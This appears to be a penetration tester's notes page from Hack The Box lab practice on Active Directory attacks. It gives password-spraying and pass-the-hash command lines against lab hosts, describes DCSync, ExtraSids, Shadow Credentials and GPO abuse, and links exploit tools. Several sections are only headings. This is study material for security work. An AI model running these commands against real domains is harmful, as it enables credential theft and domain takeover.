Intrusionz3r0-WriteupsHacktheboxGithubLinkedln

Common Attacks

Enumerate Password Policy

#Enumerate Password policy
Intrusionz3r0X@htb[/htb]$ nxc smb 172.16.5.5 -u avazquez -p Password123 --pass-pol
Intrusionz3r0X@htb[/htb]$ enum4linux -P 172.16.5.5
Intrusionz3r0X@htb[/htb]$ enum4linux-ng -P 172.16.5.5 -oA ilfreight #Best Option
Intrusionz3r0X@htb[/htb]$ ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

#CMD
C:\htb> net accounts

#Powerview
PS C:\\htb> import-module .\\PowerView.ps1
PS C:\\htb> Get-DomainPolicy

Password Spraying

Crackmapexec: Pay attention to Bad-Pwd-Count value since this indicates the number of times the user tried to log on to the account using an incorrect password. Remember that we should run one, max two, password spraying attempts and wait over an hour between attempts.

#Interal Password Spraying (Linux)
Intrusionz3r0X@htb[/htb]$ for u in $(cat valid_ad_users);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
Intrusionz3r0X@htb[/htb]$ crackmapexec smb 172.16.5.5 -u valid_ad_users -p Password123 --continue-on-success
Intrusionz3r0X@htb[/htb]$ kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1

#Local admin Password Spraying
#Make sure **-local-auth** flag is set so we don't potentially lock out the built-in administrator for the domain
Intrusionz3r0X@htb[/htb]$ sudo crackmapexec smb **--local-auth** 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf --continue-on-success

#Internal Password Spraying - from Windows
PS C:\\htb> Import-Module .\\DomainPasswordSpray.ps1
PS C:\\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
PS C:\\htb> Invoke-DomainPasswordSpray -UserList <users> -Domain <domain-name> -PasswordList <password> -OutFile sprayed-creds.txt
LogoGitHub - dafthack/DomainPasswordSpray: DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS!GitHub

RID Cycling Attack

DCSync Attack

If If you get the NT Domain Control Computer Account, you can perform the attack.

To perform this attack our compromised user must have the next ACLs attached

  • DS-Replication-Get-Changes-All

  • DS-Replication-Get-Changes

Reversible Encryption Enabled

When this option is set on a user account, windows store the credentials using RC4 encryption and tools like secretsdump from impacket will decrypt any password stored using reversible encryption while dumping NTDS file.

DNS Poisoning to Capture NTLMv2 Hashes

If you discover an internal application (like a subdomain checker, as shown in the screenshot) that performs DNS lookups, and the compromised user has the ability to create machine accounts (i.e., MachineAccountQuota > 0), you can leverage this to coerce NTLMv2 authentication and capture hashes.

Checkig the MachineAccountQuota

Creating a fake computer

Adding a malicious DNS

Wait between 8 - 10 minutes to the server is able to spread the new configuration.

Capturing the NTLMv2 hash

ExtraSids Attack (SID History Injection Attack)

When you perform DCSync the parent domain use the flags /domain: /dc: <FQDN> /user: <DOMAINSID + USERID>

Requirenments:

  • Child user KRBTGT

  • Child Domain controler

  • User: Administrator

  • RID Child Domain

  • Enterprise Admins RID Group

Enumeration on Windows

Enumeration on Linux

Automatic via RaiseChild

Manual from Windows

This will not work in a Winrm session! you can use RunasCS or Invoke-Command -computername localhost -credential $cred -ScriptBlock { REVERSESHELL }

Manual from Linux

New Windows Version

DC_ERR_TGT_REVOKED

The KDC_ERR_TGT_REVOKED error occurs because, starting with Windows update KB5008380, the KDC (Key Distribution Center) now checks if the user exists with the RID (user unique identifier). In order to perform an attack like ExtraSID and compromise the parent domain from the child, you need to generate a ticket for a real user with the correct RID. That is why you now need to use the -user-id and -aesKey parameters when creating the ticket, as mentioned, in order for the KDC check to pass successfully.

Logo[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked) · Issue #1661 · fortra/impacketGitHub
Logofortra/impacketGitHub

Printer Bug

MS14-068

Logowindows-kernel-exploits/MS14-068 at master · SecWiki/windows-kernel-exploitsGitHub

Group Policy Preferences (GPP) Passwords

DNS Records When the naming convention is non-descriptive

NoPac (SamAccountName Spoofing)

PrinterNightmare

PetitPotam (MS-EFSRPC)

https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-Petitpotam.ps1

Shadow Credentials

If your user possesses WriteDACL or AddKeyCredentialLink over any user or computer account you can write the attribute msDS-KeyCredentialLink to make the object vulnerable to Shadow Credentials

Linux

Using Pywhister

LogoGitHub - ShutdownRepo/pywhisker: Python version of the C# tool for "Shadow Credentials" attacksGitHub

Using Certipy-ad

Windows

LogoGitHub - eladshamir/Whisker: Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their msDS-KeyCredentialLink attribute, effectively adding "Shadow Credentials" to the target account.GitHub

GPO-Based Privilege Escalation to Domain Compromise

If you identify that a user possesses GenericAll permissions over Default Domain Policy or Default Domain Controllers Policy, you can abuse Group Policy Objects (GPOs) to escalate privileges within the domain.

This scenario allows you to create a scheduled task (or perform other privileged actions) that will be executed on domain-joined machines, including Domain Controllers.

Pre-Windows 2000 computer account

In Active Directory, when administrators create computer accounts with the "Assign this computer account as a pre-Windows 2000 computer" option enabled, the system sets the account's password to the computer's name in lowercase. For example, a computer account named "BANKING$" would have a default password of "banking"

LLMNR/NBT-NS Poisoning

LogoGitHub - Greenwolf/ntlm_theft: A tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf)GitHub
LogoPlaces of Interest in Stealing NetNTLM Hashes | 🔐Blog of Osanda🔐Blog of Osanda
PreviousAbuse ACLSNextAbuse Tokens

Last updated